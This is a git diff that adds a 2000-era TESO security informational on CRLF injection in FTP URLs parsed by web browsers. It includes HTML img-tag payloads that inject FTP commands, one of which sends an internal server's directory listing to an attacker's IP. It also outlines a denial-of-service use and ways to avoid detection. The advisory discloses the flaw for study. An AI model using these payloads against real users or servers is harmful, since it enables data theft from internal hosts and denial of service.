summaryrefslogtreecommitdiff
path: root/informationals/teso-i0018.txt
diff options
context:
space:
mode:
Diffstat (limited to 'informationals/teso-i0018.txt')
-rw-r--r--informationals/teso-i0018.txt74
1 files changed, 74 insertions, 0 deletions
diff --git a/informationals/teso-i0018.txt b/informationals/teso-i0018.txt
new file mode 100644
index 0000000..61fcb6b
--- /dev/null
+++ b/informationals/teso-i0018.txt
@@ -0,0 +1,74 @@
10018 2000/03/11 Exploiting FTP URL parsing within web browsers
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Exploiting FTP URL parsing within web browsers
8Date .................: 2000/03/11 19:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: Web browsers which parse FTP URLs in HTML tags
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: bugtraq readers
16
17Information ===================================================================
18
19Common web browsers such as Netscape Navigator and Microsoft Internet Explorer
20have the ability to download files using the FTP file transfer protocol. It is
21also possible to use an FTP URL as source address for binary files such as
22images or other objects included within a HTML file.
23
24However, the URL encoding scheme allows one to use encoded characters within
25the URL, such as "%20" which means the character '\x20', which is a space. All
26characters are allowed, no filtering takes place.
27
28Therefore it's possible to use the FTP protocol command separator character
29sequence which happens to be (CR, LF) too. This way arbitrary commands can be
30executed on the FTP server the URL uses.
31
32Example:
33
34<img src="ftp://ftp.cdrom.com/foobar.gif%0d%0aHELP">
35
36This URL within the "src" parameter is translated by the browser (Netscape
37Navigator in this case) to:
38
39USER anonymous
40PASS mozilla@
41REST 0
42SYST
43PASV
44TYPE I
45SIZE /foobar.gif
46HELP
47
48The SIZE command uses the user supplied filename, which happens to be
49"/foobar.gif\x0d\x0aHELP" and appends a CR,LF sequence to it, resulting in an
50extra FTP command "HELP" being executed.
51
52We can exploit this in several ways. One way would be to launch a denial of
53service attack using this technique. To do this one would inject a few of this
54modified FTP URLs into a high traffic web site which has lots of visitors. The
55URLs would contain PORT commands to create a connection to another site and
56then transfer a big file from the server to it.
57
58In a similar way we can exploit IP based trust relationships. Given the
59situation that user "joe" from company A uses an anonymous company internal ftp
60server "private" to access his files. We know his email client is able to read
61HTML emails, then we could inject a link such as:
62
63<img lowsrc="http://blabla.com/transparent.gif"
64 src="ftp://private/foobar.gif%0d%0aPORT%20123,124,125,126,10,0%0d%0aNLST">
65
66Where 123.124.125.126 is our IP with a listening TCP socket on port 2560
67(10 * 256 + 0). We would receive a listing of the files in the "/" directory
68once "joe" reads this mail. Since the "/foobar.gif" doesn't exist on "private"
69his email client would use the "lowsrc" parameter, which can be a 1x1 pixel
70dummy image to avoid detection. Also the whole URL can be encoded for
71further obfuscation.
72
73===============================================================================
74